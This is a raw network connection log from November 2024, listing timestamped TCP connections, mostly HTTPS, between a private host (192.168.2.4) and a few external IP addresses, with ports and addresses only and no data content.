Nov 7, 2024 06:01:13.184861898 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.185328960 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.185333967 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.210213900 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.216528893 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.222870111 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.222886086 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.223336935 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.223341942 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.241643906 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.241688967 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.263864994 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.263931990 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.264039993 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.267106056 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.267116070 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.267612934 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.267640114 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.267654896 CET	49809	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.267663002 CET	443	49809	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.271385908 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.271449089 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.271506071 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.271660089 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.271676064 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.276926041 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.276997089 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.277219057 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.277275085 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.277292967 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.277308941 CET	49810	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.277314901 CET	443	49810	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.280529976 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.280569077 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.280627012 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.280766010 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.280772924 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.312561035 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.312727928 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.312841892 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.313513994 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.313538074 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.313553095 CET	49808	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.313560963 CET	443	49808	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.316306114 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.316365957 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.316454887 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.316580057 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.316596985 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.347259045 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.347347021 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.347469091 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.347722054 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.347740889 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.347752094 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.347758055 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.350708961 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.350747108 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.350816965 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.351098061 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.351106882 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.405364990 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.405455112 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.405630112 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.405713081 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.405713081 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.405755997 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.405772924 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.409405947 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.409470081 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:13.409547091 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.409687042 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:13.409701109 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.021311045 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.025382996 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.026539087 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.026582003 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.027220964 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.027235985 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.027856112 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.027878046 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.028382063 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.028388023 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.041649103 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.044862986 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.044893026 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.045320034 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.045325041 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.083564997 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.084264994 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.084279060 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.084769964 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.084774971 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.151832104 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.152049065 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.152226925 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.152434111 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.152564049 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.152591944 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.152611971 CET	49813	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.152616978 CET	443	49813	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155091047 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.155133009 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155570030 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.155580044 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155688047 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155747890 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155811071 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.155950069 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.155972004 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.155987978 CET	49814	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.155993938 CET	443	49814	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.156932116 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.156971931 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.157035112 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.157170057 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.157181978 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.159115076 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.159157991 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.159233093 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.159696102 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.159709930 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.175419092 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.175762892 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.175860882 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.176105976 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.176127911 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.176140070 CET	49815	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.176145077 CET	443	49815	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.178672075 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.178718090 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.178790092 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.178953886 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.178963900 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.211561918 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.211631060 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.211812019 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.212095022 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.212109089 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.212117910 CET	49816	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.212122917 CET	443	49816	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.215737104 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.215820074 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.215926886 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.216120958 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.216140985 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.289863110 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.289983988 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.290802956 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.296514034 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.296540976 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.296585083 CET	49817	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.296591043 CET	443	49817	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.299810886 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.299874067 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.300025940 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.300214052 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.300228119 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.888948917 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.889491081 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.889533997 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.889981985 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.889991045 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.890413046 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.894541025 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.894568920 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.895032883 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.895037889 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.895136118 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.897986889 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.898015022 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.898392916 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.898399115 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.955240011 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.955751896 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.955777884 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:14.956245899 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:14.956252098 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.017932892 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.017998934 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.018107891 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.018430948 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.018452883 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.018464088 CET	49819	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.018469095 CET	443	49819	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022061110 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022099972 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022106886 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022129059 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022203922 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022434950 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022433996 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022444010 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022459984 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022624969 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022627115 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022641897 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022646904 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022654057 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.022670984 CET	49818	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.022675037 CET	443	49818	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.025197983 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.025237083 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.025312901 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.025479078 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.025490046 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.036607981 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.040173054 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.040214062 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.040703058 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.040714025 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.070485115 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.070554018 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.070681095 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.081005096 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.081047058 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.081068993 CET	49820	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.081077099 CET	443	49820	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.084589958 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.084644079 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.084759951 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.084919930 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.084933043 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.089811087 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.089831114 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.089879036 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.089898109 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.089945078 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.090118885 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.090136051 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.090150118 CET	49821	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.090153933 CET	443	49821	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.092425108 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.092453003 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.092525005 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.092674017 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.092681885 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.154058933 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:15.154387951 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:15.159250021 CET	80	49827	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:15.159333944 CET	80	49791	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:15.159447908 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:15.159487963 CET	49791	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:15.167671919 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.167700052 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.167788982 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.167828083 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.167921066 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.167927027 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.167964935 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.196516991 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.196566105 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:15.196666956 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.197411060 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:15.197721958 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.197763920 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.197781086 CET	49822	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.197788954 CET	443	49822	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.202307940 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.202346087 CET	80	49827	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:15.202369928 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.202424049 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.202625990 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.202639103 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.264960051 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.264980078 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:15.767189980 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.767851114 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.767883062 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.768377066 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.768404007 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.805366993 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.806056023 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.806094885 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.806557894 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.806562901 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.814768076 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.815289974 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.815320969 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.815731049 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.815738916 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.879091978 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:15.879230976 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.881043911 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.881051064 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:15.881295919 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:15.899971008 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.900058031 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.900131941 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.900393963 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.900415897 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.900427103 CET	49824	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.900433064 CET	443	49824	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.903827906 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.903875113 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.903964043 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.904161930 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.904171944 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.922009945 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:15.930609941 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.931255102 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.931324005 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.931760073 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.931766987 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.935614109 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.935702085 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.935780048 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.935981989 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.936007977 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.936026096 CET	49825	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.936032057 CET	443	49825	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.939346075 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.939402103 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.939481020 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.939634085 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.939646006 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.941442013 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.941529036 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.941587925 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.941740990 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.941756964 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.941767931 CET	49826	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.941773891 CET	443	49826	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.944506884 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.944545984 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:15.944633007 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.944801092 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:15.944809914 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.015811920 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.018408060 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.018439054 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.059848070 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.059935093 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.059990883 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.060777903 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.060802937 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.060815096 CET	49829	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.060821056 CET	443	49829	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.079176903 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.079233885 CET	443	49833	13.107.246.45	192.168.2.4
